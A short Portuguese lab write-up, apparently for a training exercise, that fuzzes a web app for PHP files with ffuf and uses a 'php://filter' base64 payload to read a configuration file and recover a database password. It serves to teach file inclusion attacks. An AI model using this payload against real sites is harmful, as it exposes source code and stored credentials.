# PHP Filters - 1

1. Fuzz o aplicativo da web para outros scripts php e, em seguida, leia um dos arquivos de configuração e envie a senha do banco de dados como resposta

<figure><img src="https://4024756925-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZbLrq3t9Su3CqGmkXz7o%2Fuploads%2FcKlTGIXZiGW4SABVnuyl%2Fimage.png?alt=media&#x26;token=fe8624d3-5777-437e-8318-5e1a4a6235d3" alt=""><figcaption></figcaption></figure>

* Primeiro devemos fazer um fuzz no site para encontrar arquivos com extensões `.php`

```
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://94.237.59.199:35189/FUZZ.php -fs 2652
```

<figure><img src="https://4024756925-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZbLrq3t9Su3CqGmkXz7o%2Fuploads%2Fgj6AQeufYcNQpJ0q0KQl%2Fimage.png?alt=media&#x26;token=6c60787c-f747-406e-af2c-4b346f275a80" alt=""><figcaption></figcaption></figure>

* Uma vez que tenhamos uma lista de potenciais arquivos PHP que queremos ler, podemos começar a revelar suas fontes com o `base64`filtro PHP.

#### Pyload :&#x20;

```
php://filter/read=convert.base64-encode/resource=configure
```

<figure><img src="https://4024756925-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZbLrq3t9Su3CqGmkXz7o%2Fuploads%2Fj6ibu8BHLLxSXAoz2HZT%2Fimage.png?alt=media&#x26;token=d0b699ab-01b4-46e7-a970-8fb45dd719b9" alt=""><figcaption></figcaption></figure>

* Em seguida vamos decodificar a string base64 para descobrir a flag

<figure><img src="https://4024756925-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZbLrq3t9Su3CqGmkXz7o%2Fuploads%2F7ScROIVwMhZ2Kfy5SmtI%2Fimage.png?alt=media&#x26;token=f3e19136-8b37-4e93-bbfd-c781ddb2a461" alt=""><figcaption></figcaption></figure>

